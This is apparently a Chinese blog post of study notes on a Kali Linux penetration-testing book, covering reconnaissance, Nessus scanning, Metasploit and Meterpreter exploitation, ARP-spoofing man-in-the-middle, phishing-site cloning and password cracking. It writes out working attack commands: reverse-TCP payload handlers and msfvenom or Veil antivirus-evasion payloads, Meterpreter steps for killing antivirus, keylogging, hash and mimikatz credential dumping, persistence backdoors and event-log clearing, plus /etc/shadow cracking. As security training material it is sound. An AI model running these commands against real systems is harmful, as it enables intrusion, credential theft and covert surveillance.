admin 管理员组

文章数量: 887021

本文为《从实践中学习Kali Linux渗透测试》总结笔记,仅供学习使用,禁止用于非法用途,转载请附上原文链接!

1. 信息收集

1.1 发现主机

traceroute

获取目标主机的路由条目,确定网络拓扑。每一跳表示一个网关,星号可能为防火墙导致。

1.1.1 扫描主机

① nmap
nmap -sP ip/ip段

对目标主机实施ping扫描,探测主机是否在线
也可以通过其他语法,扫描主机开放端口、使用的操作系统等

② Netdiscover

ARP侦查工具,可以扫描IP地址,检查在线主机。

netdiscover -r CIDR格式

1.1.2监听发现主机

① ARP监听

ARP请求广播到网络上所有主机,发现活动主机。
Netdiscover被动模式实施监听。

netdiscover -p

② DHCP监听

Nmap的broadcast-dhcp-discover脚本实施DHCP监听来发现主机

nmap --script broadcast-dhcp-discover 

1.2 域名分析

域名详细信息、子域名、服务器地址等

1.2.1 域名基础信息

① whois

域名注册状态、注册商、所有者等

whois 域名

② dmitry

一体化信息收集工具,收集whois主机ip和域名信息等。

dmitry -w 域名

1.2.2 查找子域名

dmitry 域名

通过谷歌,需要使用vpn(通过proxychains)

1.2.3 发现服务器

确定域名对应的ip地址

① dnsenum工具

域名信息收集工具,通过谷歌或字典猜测可能存在的域名,并且反向查询网站的主机地址、域名服务器、邮件交换记录等。

dnsenum -w 域名

② nslookup

dns服务器检测和排错的工具,查询域名解析是否正常。

nslookup 域名
③ ping

检查网络是否连通

ping 目标

1.3 扫描端口

扫描端口,发现目标主机中运行的程序。

① nmap
nmap -p 端口范围 目标

② dmitry
dmitry -p 目标

1.4 识别操作系统

针对性的对系统程序实施漏洞探测。

1.4.1 基于TTL识别

TTL,生存时间,IP被路由器丢弃之前允许通过的最大网段,不同操作系统不同TTL值。UNIX-255,Windows XP-128,Linux-64,不准确。
使用ping得到ttl值

1.4.2 使用NMAP识别

nmap -O 目标

结果有时不准确。

1.5 识别服务

服务版本信息,旧版本可能存在漏洞。

1.5.1 Nmap

nmap -sV 目标

1.5.2 Amap工作

识别网络服务的渗透测试工具集,包括amapamapcrap两个工具,amap尝试识别非常用端口上运行的程序,amapcrap发送触发数据包,在响应字符串列表中查找响应来识别非ASCII编码的应用程序。

1.6 收集服务信息

特殊服务可以提供额外的信息,利用方法。

1.6.1 SMB服务

服务器共享

smbclient -L IP -U 用户名

1.6.2 SNMP服务

简单网络管理协议,获取主机信息。

snmp-check 目标

可获取系统信息(主机名、操作系统类型及架构)、用户账户信息、网络信息(TTL值、TCP段和数据元)、网络接口信息(接口状态、速率、IP地址和子网掩码)、网络IP信息、路由信息(目标地址、下一跳地址、子网掩码和路径长度值)、监听的TCP端口、UDP端口、网络服务信息(分布式组件对象模型、DHCP客户端、DNS客户端等)、进程信息、存储信息、文件系统信息、设备信息、软件组件信息等。

1.7 信息分析整理

Maltego,信息收集工具,信息可视化。
需要到官网注册并且使用外网,类似画拓扑图的软件。

2.扫描漏洞

验证目标系统可能存在的危害。

2.1 漏洞概述

2.1.1 人为的不当配置

① 弱密码
changeme -a 目标

探测目标是否使用默认密码(新版本中已移除该工具)

② 权限设置错误

使用低权限进行高权限操作

2.1.2 软件漏洞

Intel软件漏洞、str2-045远程代码执行漏洞

2.1.3 硬件漏洞

常存在于硬件设备或芯片中,CPU漏洞等。

2.2 Nessus扫描漏洞

① 官网下载安装包(kexueshangwang)

https://www.tenable/downloads/nessus?loginAttempted=true

② 安装

dpkg -i Nessus-10.1.2-debian6_amd64.deb

③启动

/bin/systemctl start nessusd.service

④激活Nessus服务

https://www.tenable/products/nessus/activation-code
Nessus Essentials 注册,在邮箱中接收激活码
kali中访问https://kali:8834/

跳过注册,直接输入激活码,注册一个账号,等待下载。
(注:下载失败,可通过命令下载,结合代理
find / -name nessuscli
proxychains /opt/nessus/sbin/nessuscli update
然后重新启动nessus,刷新网页)

2.3 使用OpenVAS扫描漏洞

开放式漏洞评估系统。需要额外安装。

apt-get install opevas -y

自行了解,不再赘述。

2.4 其他发现方式

检查配置、三方查找等。

2.4.1 检查linux配置

远程桌面端口、弱密码、web服务SQL注入、FTP服务匿名用户权限…
unix-privesc-check是kali自带的提权漏洞检测工具。可检测各类文件的读写权限。

unix-privesc-check standard或detailed(详细模式)

2.4.2 查找漏洞信息

官网漏洞信息、CVE和微软漏洞网站。

3. 漏洞利用

利用程序漏洞获取计算机控制权。

3.1 Metasploit

开源的安全漏洞检测软件,包括了智能开发、代码审计、web应用程序扫描和社会工程等各项功能。

3.1.1 概述

强大之处在于提供了大量的渗透测试模块和插件。7种类型,Exploits(渗透攻击模块)、Auxiliary(辅助模块)、Post(后渗透攻击模块)、Payloads(攻击载荷模块)、Encoders(编码器模块)、Nops(空指令模块)、Evasion(规避模块)。

① 渗透攻击模块

利用发现的漏洞或配置进行攻击,植入载荷,获取控制权。
主动渗透攻击(主动连接请求)、被动渗透攻击(构造恶意内容诱骗触发)

② 辅助模块

扫描检测、虚假服务收集密码和口令猜测、拒绝服务攻击等

③ 后渗透模块

取得远控权限后,获取敏感信息、进一步拓展、跳板攻击等

④ 攻击载荷模块

渗透成功后促使目标系统运行的植入代码,通常作用是打开目标系统的控制会话连接。
分为Single(独立)、Stager(传感器)、Stage(传输体)3种。
-Single:完全独立的payload,可能会被netcat等捕获;
-Stager:负责建立网络连接,下载额外的组件或应用程序,常见的有reverse_tcp,可建立tcp连接,让目标系统主动连接攻击者的端口。还有一种是bind_tcp,可以让目标系统开启一个TCP监听器,随时可通信。
-Stage:传感器下的一种组件,提供更高级的功能,没有大小限制。

⑤ 空指令模块

对程序运行状态不会造成实质影响的空操作或无关操作指令。如X86 CPU体系操作码是0x90。构造恶意数据缓冲区时,常在Shellcode之前加一段空指令区,触发攻击后跳转执行有一个较大的安全着陆区,避免受到内存地址随机化及返回地址计算偏差等原因造成执行失败,提供渗透可靠性。

⑥ 编码模块

攻击载荷和空指令模块组装完成为指令序列后,运行之前还需要进行编码。一是确保不会出现坏字符,二是免杀处理。

⑦ 规避模块

规避windows自带的防火墙,对系统实时监控。

⑧ 插件

扩展框架功能,可集成Nessus、OpenVAS等。

3.1.2 Metasploit界面

提供图形界面和终端模式。

① Metasploit的图形界面Armitage

java编写的图形化攻击软件。
由于作者不再更新,2021新版kali已移除该程序。

② Metasploit的终端Msfconsole

最为流行的用户接口,功能最丰富,支持最好的工具之一。
启动:

msfconsole

3.1.3 初始化Metasploit

kali中metasploit主要使用postgreSQL存储,所以需启动PostgreSQL,并且初始化。

service postgresql start
msfdb init

(注:已经初始化metasploit会提示数据库已经配置)

3.1.4 创建工作区

区分不同的扫描任务,保存不同的信息。

msf6>workspace -a 名称 #新建工作区
msf6>workspace 名称  #切换当前工作区
msf6>workspace -v #查看工作区信息


3.1.5 导入扫描报告

可以导入一些第三方的扫描报告,如openvas.xml

db_import 文件名

3.2 查询渗透测试模块

主要使用渗透测试模块,也可以导入第三方模块。

3.2.1 预分析扫描报告

导入扫描报告,分析,找出目标系统漏洞。

msf6>hosts #查看主机信息
msf6>vulns #查看漏洞信息

3.2.2 手动查找攻击载荷

msf6>search 选项 关键字

-h 帮助 -o 文件 指定输出文件 -S string 指定搜索的字符串 -u 指定搜索模块

msf6>search cve:2019 #查找cve为2019年的漏洞模块
msf6>search  name:MS17-010 #查找名字
msf6>use exploit/windows/smb/ms17_010_eternalblue  #使用该攻击模块


3.2.3 第三方查找

① CVE网站查找
② exploitDB漏洞网站查找
③ 手动导入第三方模块

3.3 实施攻击

3.3.1 使用攻击载荷

msf6 >set payload payload名称
msf6 >show payload #查看可加载的payload

3.3.2 配置攻击载荷

加载攻击载荷后,需要进行配置。

msf6 > show options #查看可配置选项
例. 生成win7木马
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 192.168.0.109  #这里的地址设置成我们刚才生成木马的IP地址
msf6 > set lport 9999          #这里的端口设置成刚才我们生成木马所监听的端口
msf6 > exploit                #开始执行漏洞,开始监听,等待 Win 7主机上线

3.3.3 设置架构

一些模块可支持多个系统架构,一般默认会自动的。

msf6 > show targets #查看该模块支持所有目标架构
msf6 > set target [id] #设置架构编号

3.3.4 设置编码

避免出现坏字符或被防火墙拦截,可为载荷编码。
主要使用msfvenom工具,是MSF配套的攻击载荷生成器。
-p 指定payload;-e 指定编码格式;-a 指定系统架构,默认x86;-s指定payload最大值;-i 指定编码次数;-f 指定生成文件格式。

msfvenom -l encoders #查看支持的所有编码
msfvenom -p windows/meterpreter/reverse_tcp RHOST=192.168.0.109 --platform windows -a x86 -e x86/shikata_ga_nai -f exe > msf.exe

3.4 控制Meterpreter会话

成功渗透后,获取到Meterpreter会话,可以利用命令获取主机更多信息或控制主机,如关闭杀软、键盘捕获、屏幕截图、提升权限及创建账户等。

3.4.1 关闭杀软

meterpreter >run killav

3.4.2 获取主机详细信息

meterpreter >sysinfo
meterpreter >run scraper

3.4.3 检查是否运行在虚拟机

meterpreter >run post/windows/gather/checkvm

3.4.4 访问文件系统

和linux相同,支持pwd、ls、rm、cd、mkdir等命令

3.4.5 上传/下载文件

meterpreter >download file
meterpreter >upload file

3.4.6 键盘捕获

meterpreter >keyscan_start
meterpreter >keyscan_dump
meterpreter >keyscan_stop

3.4.7 屏幕截图

meterpreter >screenshot

3.4.8 枚举用户

meterpreter >run post/windows/gather/enum_logged_on_users

3.4.9 权限提升

meterpreter >getuid #查看当前用户权限
meterpreter >getsystem #提权

3.4.10 获取用户密码

① hashdump
meterpreter >hashdump

需要进一步破解才能得到真的密码。

② mimikatz

针对32位系统。

meterpreter >load mimikatz
meterpreter >help mimikatz
meterpreter >mimikatz_command -f sekurlsa::wdigest -a "full"
meterpreter >msv # 获取哈希密码
meterpreter >wdigest # 获取登录过用户存储在内存的明文密码

3.4.11 绑定进程

Meterppreter可以单独运行也可以与进程进行绑定,实现持久化。

meterpreter >ps #查看当前系统中运行的进程
meterpreter >getpid #查看当前进程的ID
meterpreter >migrate 指定绑定进程ID
3.4.12 运行程序

使用execute命令在目标系统中执行应用程序。

meterpreter >execute [选项] -f 命令

-H 创建一个隐藏进程;-a 传递给命令的参数;-i 跟进程进行交互;-m 从内存中执行;-t 使用当前伪造的线程令牌运行进程;-s 在给定的会话中执行进程。

meterpreter >execute -s 1 -f cmd
3.4.13 启用远程桌面
meterpreter >run post/windows/manage/enable_rdp
meterpreter >idletime # 检查远程用户的空闲时长

使用hashdump命令和mimikatz模块等获取用户和密码。
在kali中远程桌面:

rdesktop 目标IP

3.4.14 持久后门

Meterpreter是基于内存DLL建立的连接,所以目标断开则连接会断开,因此需要持久后门,开机时会主动连接。

meterpreter >run persistence -X -i <opt> -p <opt> -r <opt>

-X 系统启动后自动启动代理;-i 设置每个连接尝试的时间间隔,单位为秒;-p 指定Metasploit监听的端口;-r 指定反向连接运行Metasploit的IP地址,即攻击机地址。
建立后门后,还需要本地建立监听:

meterpreter >use exploit/multi/handler
meterpreter >set payload windows/meterpreter/reverse_tcp
meterpreter >set LHOST 本机IP
meterpreter >set LPORT 本机端口
meterpreter >exploit

3.4.15 清除踪迹

侵入后所有操作都会记录在系统日志文件中,所以需要清理。

meterpreter >clearev

3.4.16 搭建跳板

利用一台已经攻陷的主机作为跳板,渗透网络中其他主机,可用于一些不可访问的网络环境。
查看meterpreter会话,当前攻击IP与目标IP不在同一子网则需要添加路由;

meterpreter >run get_local_subnets #查看目标系统上的子网
meterpreter >background #将会话放到后台运行
msf6 exploit(handler) > route add [子网] [掩码] [会话ID]
msf6 exploit(handler) > route print #查看添加的路由条目

以上为手动,自动化操作:

msf6 exploit(handler) > load auto_add_route
msf6 exploit(handler) > exploit

3.5 免杀payload攻击

使用Veil Evasion工具生成绕过杀软的攻击载荷。

3.5.1 安装VE

kali中没有自带,需单独安装:

apt-get install veil-evasion -y
veil #启动工具,y继续,安装各种环境

3.5.2 生成免杀payload

veil #启动
Veil >:use Evasion #使用Evasion工具
Veil >:list #查看支持的payload
Veil >:use 攻击载荷
Veil >:set LHOST IP地址
Veil >:generate #生成

也可使用命令行模式:

veil -t Evasion -p 载荷名称 --ip IP地址 --port 端口号

生成载荷后,本地建立监听器。

4. 嗅探欺骗

没有漏洞可利用时,可对模板主机进行欺骗,获取网络中传输的数据进行分析,常见的是中间人攻击。

4.1 中间人攻击

4.1.1 常见中间人攻击

多为ARP欺骗(冒充网关或其他主机转发流量获取信息)和DNS欺骗。

4.1.2 实施中间人攻击

① arpspoof工具

专业ARP欺骗工具,可直接欺骗网关。

arpspoof 选项 host

-i 使用的接口;-t 目标 制定欺骗的目标,默认为所有主机;-r 双向欺骗,与-t一起使用;host 拦截包的主机,通常是本地网关。
攻击步骤:

echo 1 > /proc/sys/net/ipv4/ip_forward #开启路由转发
ifconfig #查看主机IP
arp #查看ARP缓存表

查看目标系统的IP和ARP缓存表,确定攻击机和目标主机没有任何通信,此时这两台主机通信就可实施ARP攻击。

arpspoof -i 网口名 -t 目标机 #对目标主机实施arp欺骗
arpspoof -i 网口名 -t 网关 目标机 #对网关实施arp欺骗
也可使用一条命令同时进行arp攻击:
arpspoof -i 网口名 -t 目标机 -r 网关
arp # 再次查看,发现网关与攻击机MAC地址相同,则为成功arp欺骗
② Ettercap工具
ettercap -G #启动工具

选择Sniff|Unified sniffing #启动嗅探,选择接口
选择Hosts|Scan for hosts #启动扫描主机
选择Hosts|Hosts list #查看主机列表
选择两台主机Add to Target1和Target2,选择Start|Start sniffing
选择Mitm|ARP poisoning… #启动ARP注入攻击,选Sniff remote connections
攻击成功,可捕获到数据
选择Start|Stop sniffing #关闭嗅探
选择Mitm|Stop mitm attack(s) #关闭中间人攻击

也可使用命令行模式

ettercap 选项 目标1 目标2

-i 选择网口,默认为第一个;-M,–mitm METHOD:ARGS执行中间人攻击,remote表示双向,oneway表示单项;-T,–text 使用文本模式;-q,–quiet 不显示包内容;-P 插件名 加载的插件。

ettercap -Tq -M arp:remote IP1 IP2

4.2 社会工程学

利用人性的好奇、信任、贪婪等,攻击人自身的弱点。

4.2.1 社工工具包SET

setoolkit  #输入y确认
set>1 #选择社工攻击


4.2.2 Web攻击向量

构造一些具有诱惑力的网页,诱导访问。

setoolkit 
set > 1
set > 2 #选择Web攻击向量
set:webattack>3  #选择证书获取攻击方法
set:webattack>1 #选择网站生成方式,选择默认模板

输入网站IP地址,输入本机kali地址

set:webattack> Select a template:2 #选择网站模板

成功生成伪造站点,此时可结合DNS欺骗(Ettercap工具中的dns_spoof插件)来诱骗用户到伪站点。

4.2.3 PowerShell攻击向量

创建一个PowerShell文件发送给目标执行,可获取一个反向远程连接。
①工具菜单选择编号9) Powershell Attack Vectors

set:powershell>1 #选择含字符和数字的Shellcode注入

②设置攻击机IP地址和回连端口,yes开启监听

在/root/.set/reports/powershell/找到x86_powershell_injection.txt文本文件,该文件则可运行PowerShell。
③将文件内容复制到目标机DOS下运行,或者后缀改为.bat,双击运行;
④在攻击机查看会话

msf6 > sessions
msf6 > sessions -i 会话ID #启动该会话

4.3 捕获和监听网络数据

4.3.1 wireshark

中间人攻击成功后,开启wireshark捕获对应网口的流量。

4.3.2 捕获图片

实施中间人后,使用driftnet来捕获图片,与Ettercap工具结合使用,可捕获目标主机浏览的所有图片。

driftnet -i 网口名称 -d 路径

4.3.3 监听HTTP数据

使用Ettercap实施中间人攻击后,即可监听到访问HTTP网站的数据。

4.3.4 监听HTTPS数据

使用SSLstrip工具监听HTTPS数据。

4.3.5 网络数据快速分析

Xplico可快速找出用户请求的网页地址、图片和视频等内容。
kali默认未安装。

5. 密码攻击

5.1 创建字典

收集信息并分析,创建一个合理的密码字典用于攻击。

5.1.1 密码信息收集

相关邮箱、网站博客、文章、单位名称、人员名称、生日信息、名字缩写等。

5.1.2 密码策略分析

系统对密码设置的限制,不能仅数字、连续英文或数字等策略。

① 软件/系统固有策略

创建密码时,提醒的密码长度和复杂度最低要求。

② 加固策略

查看windows组策略等。

③ 分析已有密码字典策略

根据已有密码分析字符出现概率、位置分布和前后关系,结合生成密码字典。
可使用Stasprocessor工具(需自行安装)以供分析:

statsgen 密码文件.txt

5.1.3 生成字典

① Crunch

按照制定的规则生成密码字典。

② rsmangler

基于单词列表关键字生成字典。

③ rtgen

生成彩虹表(针对各种可能字母组合和预先计算好哈希值的集合)。

5.2 破解哈希密码

5.2.1 识别哈希加密方式

hashid 哈希密码

5.2.2 破解LM Hashes密码

LM Hash是windows最早使用的密码哈希算法之一。
使用findmyhash工具破解:

findmyhash 算法类型 选项

5.2.3 直接使用哈希密码值

特定漏洞可直接使用哈希密码值,使用exploit/windows/smb/psexec渗透测试模块。

5.3 借助Utilman绕过Windows登录

Utilman是windows辅助工具管理,没有用户登录也可调用Utilman进程。

5.4 路由器密码破解

控制路由器很容易对连接该路由器主机实施各种数据嗅探和欺骗攻击。

5.4.1 路由器初始密码

使用初始密码破解。

5.4.2 使用Medusa工具

开源暴力密码破解工具,可破解FTP、HTTP、IMAP和MYSQL等密码。

5.5 破解Linux用户密码

linux中很多操作都需要root,普通用户的会话无法提权基本没用。
密码散列保存在/etc/shadow中,需要破解得到原始密码。
破解之前还需要/etc/passwd文件,保存了用户基本信息,如用户名称、宿主登录和登录shell等。
破解流程:

cp /etc/passwd /etc/shadow /root/
unshadow passwd shadow > cracked #将内容提取保存在cracked目录中
john --wordlist=/usr/share/john/password.lst cracked #使用john工具和字典破解

6. 无线网络渗透

无线网络数据以广播的方式,引起了安全问题。

以下为思维导图:

本文标签: 使用说明 思维 工具 kali